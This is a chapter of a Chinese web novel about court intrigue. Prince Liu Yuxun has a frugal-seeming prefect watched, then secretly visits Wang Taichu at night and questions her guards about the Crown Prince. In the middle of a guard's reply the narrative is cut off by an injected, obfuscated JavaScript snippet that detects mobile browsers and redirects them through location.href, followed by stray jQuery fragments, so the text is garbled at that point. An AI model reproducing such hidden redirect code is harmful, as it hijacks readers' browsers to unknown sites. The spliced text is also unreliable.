54. 第十三章 越州知府(三)

作品:《万安弈局

    越州知府李茂才的队伍抵京之时已是秋分,要不是车轿前那面“越州知府”的牙牌小旗在秋风里猎猎作响,任谁看这两辆旧车、几个皂衣发白的差役都难发现里面坐着的会是执掌一州的越州知府。


    李茂才的车队刚过万安门,先前派去监视他的暗探首领便出现在了雍王府的书房中。


    原以为李茂才离了越州、未到京畿,一路行来全是无人辖制的地界,他总该松懈几分,露出马脚才是。


    可来报的暗探却说其一路未受半分馈赠,连驿站的荤菜都一概辞了,起居用度甚为简素,并不像贪赃枉法、损公肥私之人。


    越是看他行事坦荡、不沾半分污秽,刘聿洵便越清楚,此人定是陷入泥潭已深。


    “殿下,会不会我们全猜错了?”


    毕竟将火引至李茂才处,刘聿洵与李全胜并未有半点实证,靠的全是自己的猜测。


    此事若错判了,于那些素来勤勉任事、恪守本心的官员而言,可就真寒了心。这个节骨眼上,刘聿洵不招揽无妨,却断不能再树敌。是以,李全胜必须在侧提醒,让他千万不要冒进。


    “哼!若他依着朝廷的章程,端着知府的架子,依例来京述职,我尚且还要琢磨自己的判断是不是错了。但今日,他一个管着一府百姓的知府,竟清贫到这地步,反倒像是朝廷薄待了他一般。如此刻意装出清廉模样,内里定是藏着污垢。”见多了朝堂上形形色色的人,刘聿洵在识人这桩事上,反倒有着自己独到的见解,他边摇头边对那领队说道,“盯住他,无论大小事务,但凡觉得不对,都要来报。”


    “属下得令。”那领队领命之后,便一刻不停退出了书斋。


    待那暗探首领离开,刘聿洵才再开口问起李全胜:“母妃那边可有消息,漕运总督的人选定了没有?”


    因殿前失仪挨了板子之后,刘聿洵便假借伤口未愈的名头,索性在府中清闲了下来。此举,一来可以避开朝堂上这阵子的明枪暗箭,二来也可借着养伤的名义,暗中观察京中各方势力的动向。


    “贵妃并未说起此事,想来陛下还未有决断。”


    “眼下只有钱一标尚在备选之列。可父皇却甘愿冒着漕运调度失序的风险,让那位子空悬这么久。看来我猜的没错,父皇这次是铁了心要将这漕运总督的位子从赵普的手中拿走。”


    “如此对殿下来说是好事啊。何不殿下再进一步,再去争一下那漕运总督的位子?”


    “这位子虽父皇不愿再交到赵普手中,却也断不愿再交到我手上了。”刘聿洵长叹口气说道,“或许父皇一开始也并不想将这位子给到我刘聿洵,我也只是借了王大人的光罢了。”


    用自己制衡太子,用王抃制衡赵普,这才是刘祀这盘棋局的真正目的。


    而他允许自己和王抃联姻,也不过是因为这四人之中,唯独自己和王抃手里攥着的筹码最是单薄。


    话至此处,他便想起了王太初。


    自己假装身体抱恙已有一月,京中甚至有了自己缠绵病榻的传闻。旁人不知其中底细也就罢了,可王太初该是知道自己的这顿板子是因她而挨的。可她呢?时至今日,连只言片语的问候都没有。就算这婚事不成,昔日的情分总该留几分吧。


    想到这里,刘聿洵便更觉心中烦闷,也顾不得什么漕运总督,什么越州知府,开口问道:“王太初近日在做什么?”


    刘聿洵如此连名带姓称呼王家姑娘还是头次,李全胜心下不免一惊。今日入府之前,他刚得到的线报,王太初学塾选定的清祠,竟是太子亲自为其谈下来的。


    他以为刘聿洵也得到了此消息,只得宽慰道:“太初姑娘欲用那清祠做学塾,可那守祠之人偏是不允,正巧太子能帮上忙,说不准太初姑娘只是利用太子罢了。”


    刘聿洵的话锋转得突然,李全胜毫无防备,心慌之下没了章法,便只能想到什么便说什么,到后来只觉得越说越乱,那些话连自己都没法信服。


    “什么清祠!”刘聿洵自然不知此事,闻言皱眉便是责备,“如此重要之事,为什么刚进门的时候不说?”


    “方才暗探......”


    “我说了,王姑娘那边之事,永远放在第一位。”


    “属下知错。”


    “李茂才之事,先按着我方才说的做。”话音刚落,刘聿洵便伸手抄起搭在椅背上的披风,胡乱拢了拢,便急急忙忙出了书斋,身影很快就消失在了廊下的夜色中。


    即便如李全胜这般不开窍之人,都知道他是往哪里去。


    刘聿洵上次夜访王府便是翻的墙,没想到这次也要翻墙而入。


    他听王太初说起过沧澜阁的位置,可真找到这里的时候确实也费了一番功夫。


    好在此刻王太初正坐在庭院的摇椅上,他才有机会能够远远瞧上一眼。


    一月未见,她倒是比凤仪殿那日圆润了不少,一看便知这个没心没肺的王家姑娘,全然不像自己这般食不知味、夜不能寐。


    他觉得有些失落,凤仪殿中替她担下抗旨悔婚的罪名,自然是为了护她周全,可他亦存着一丝孤注一掷的希望。至少在明州城之后,在王太初将自己归到那类全然不顾百姓生死、只知谋算自身利益的行列之后,她还能因着凤仪殿之事,对他留着些许的感恩之情。


    可显然,她并没有。


    她好似已经推翻了棋盘,在别处另开一局,她比自己更为洒脱。


    或许正如李全胜所言,如若非她所愿,此刻将王太初拉入自己的阵营并非是最好的时机。


    他知道即使刘聿恒再是有醉翁之意,刘祀也断不会让刘聿恒与王抃牵扯在一起。此刻,他甚至有些庆幸,好在所有人也都不过是刘祀棋盘上的棋子罢了。


    正当他盯着她发愣,他的心绪随着她的摇椅轻轻摆动之时,墙角倏然掠过两道黑影,身形利落得像是掠过檐角的夜隼,直冲着他的方向而来。他一时躲闪不及,一个踉跄,脚下的瓦片被压得“咔嚓”一响,惊得他心头一跳,慌忙翻出墙外。


    待那两人也跟着追出来之后,他才亮出身份,让那二人收住了招式。


    “属下不知是殿下前来。”此二人慌忙抱拳认错。


    “本王都在那墙檐趴那么久了,你们才追上来,若真是刺客,眼下你们就该挥刀自尽了。”刘聿洵面色沉郁,虽语气听着平平淡淡,字句却淬着冰碴儿。


    他分明是在告诫他们,但凡王太初有半分闪失,他们几个也便只有以命抵命的结果。


    “是属下疏忽,望殿下恕罪。”此二人哪里见过这等场面,只能连连求饶。


    “没有下一次。”刘聿洵的脸色依旧冷厉,盯着他们的脸好一会才清了清喉开口问道,“你们二人中可有人见过太子来找王姑娘?”


    此二人虽只担着夜戍的差事,可既是李全胜特意调来保护王太初的,定也是军中有些本事的人物。


    此等人物,平日里定也是在刘聿洵近身之人。他们见惯了敌阵中肃杀凛冽的刘聿洵,还是第一次见到他的脸上出现如此遮遮掩掩的神色。


    面面相觑,不知是说见过好,还是说没见过好。


    “今日太子来提书塾之事的时候,你们二人,可有谁正巧在当值?”


    正在二人为难之际,李全胜不知何时从雍王府追了过来,才刚凑近,便把刘聿洵先前所言复述了一遍。


    相同的话,经李全胜一说便要明了得多。


    “今日一直是我们兄弟二人跟着王姑娘。”二人中瞧着年轻些的那个先开了口,“太子是去和乐楼寻的王姑娘。和乐楼人多嘈杂,故而我们能靠得近些,听得也更真切一些。”


    “那就好,那你就从太子进门开始说起,神情语态,只言片语,都半分差错不得。”


    “太子是......午时三刻......来的......”


    经刘聿洵如此一说,那后生士兵不由得心慌,言语间开始变得支吾迟疑。


    “慢慢说。”李全胜宽慰道,“能记得多少便说多少。”


    “属下......属下得令。”那后生士兵避开刘聿洵的目光,开始回忆起来,“太子是午时三刻到的和乐楼。彼时王姑娘正伏在柜前记账,见太子驾临,忙引着人进了雅间,与赵家姑娘一道在里头叙话。”


    “见太子驾临,王姑娘神色如何?是喜色更多,还是别有余绪?”


    那后生本


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16994290|180575||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就紧张,被如此一打断更是没了主见,他哪里还记得王太初是喜色更多,还是旁的更多,便只能抬眼向李全胜求助。


    可李全胜不在场又哪里敢多言,只能避开目光。


    “属下瞧着,王姑娘不像是高兴的样子。这些时日以来,王姑娘的神色都远不似往日那般轻快。”好在那个年长些的机灵,忙抢过话头说道。


    “知道了,你继续说。”像是得到了满意的答复,刘聿洵抬抬手,示意那后生继续往下说。


    “属下恐太子身侧有暗卫保护,未敢贸然近前,仅隐约听闻些只言片语。道是太子殿下说动了原本不肯将清祠租予王姑娘办学塾的守祠人。”


    瞧着刘聿洵的脸色越发沉郁,那后生便不敢再继续往下说。


    “王姑娘,瞧着可高兴?”


    “王姑娘瞧着不高兴。”那后生亦是瞧出了几分端倪,自家殿下这般行径,原是存了几分酸意。如此一来,他便也知晓该如何回话了。


    “哼,皇兄替王姑娘解决了棘手之事,王姑娘有何缘由会不高兴呢?”


    后生的回话敷衍,虽是刘聿洵想要的答案,他却也不甚开怀,便追问了一句。


    “这......”军中粗汉,哪里经得起如此弯了又绕的追问,只能呆在原处。


    “他说不出来,你来说着听听,王姑娘瞧着可还高兴?”刘聿洵也并不为难那后生,转身便向那年长的问话。


    “启禀殿下,属下亦觉得,虽说太子殿下解了王姑娘的燃眉之急,可瞧着王姑娘却也未见半分欢喜之色。”


    这年长些的,打从刘聿洵与王太初相交之日起,便奉命暗中护在王太初身侧。


    故而二人间的情意深浅,他自然是一清二楚。虽他看不清楚自家殿下无端悔婚的缘由,可瞧着眼前的光景,此事分明并非殿下本心所愿。


    “兴办学塾之事,本出自赵家姑娘之口。殿下素知太初姑娘向来是能歇便歇,能躺不坐的性子。此番这般积极,大抵是心里烦闷,寻个由头分散些注意罢了。”那年长些的边瞧着刘聿洵的反应边继续说道,“太子说服那守祠人将清祠租给学塾,这帮的哪里是太初姑娘,分明是帮的盼儿姑娘,何需要我们家太初姑娘为着此事高兴不高兴的?”


    “哈哈哈。”他明知此人舌灿莲花,惯会说些讨喜的话,可刘聿洵听罢,却还是止不住地高兴,“本王在军中最讨厌的便是你这等油嘴滑舌之辈,只是今日本王心中畅快,且饶你这一回。”


    “属下并非油嘴滑舌,属下所说句句属实。”那年长之人也是惊出一身冷汗,他哪是什么油嘴滑舌之辈,全是赶鸭子上架罢了。


    “不过有一事你说错了,你们家太初姑娘心里未必烦闷,你瞧着哪有心中烦闷之人,能将自己吃成珠圆玉润的?”


    “天气冷了,太初姑娘自然贪些口腹之欲。殿下可还记得,去岁此时,她可是每日都要吃上一锅羊肉暖锅才肯罢休的。”


    “倒也是,她最是贪嘴。”想起王太初,刘聿洵的语气中便有化不开的温柔,可转念想到她不惜抗旨都要离开自己,满腔郁结便聚在胸口。他复又皱起眉,瞥见李全胜立在身侧,当即把满心的愠怒都牵扯到了他的头上,责问道,“你来这里做什么?军中没有旁的事让你忙的吗?”


    “属下有要事相告。”李全胜压低声音凑到刘聿洵耳旁,那两个士兵便识趣地退到了一丈外。


    “说。”


    “明日早朝,陛下召了李茂才入宫觐见。”


    “哦?可还召了其他人?”


    “只召了李茂才。”


    知府属于地方官员,并不在常规朝参序列之中。他们入京之后,多是赴吏部、户部对口衙门述职,再等候皇帝的单独召见或集体陛见,而非站班朝堂。


    今日刘祀独召李茂才一人参与早朝,在这听风便是雨的朝堂中,这分明是皇权释放的一个信号。


    “先回府,召吴钩过来。”


    夜风卷着凉意,吹得王府墙角的灯笼明明灭灭,刘聿洵望了一眼沧澜阁的方向,旋即便转身上马朝着自家府邸而去。


    他偏是早走了一步,若只稍迟片刻,便能撞见明州府八百里加急递来的书札。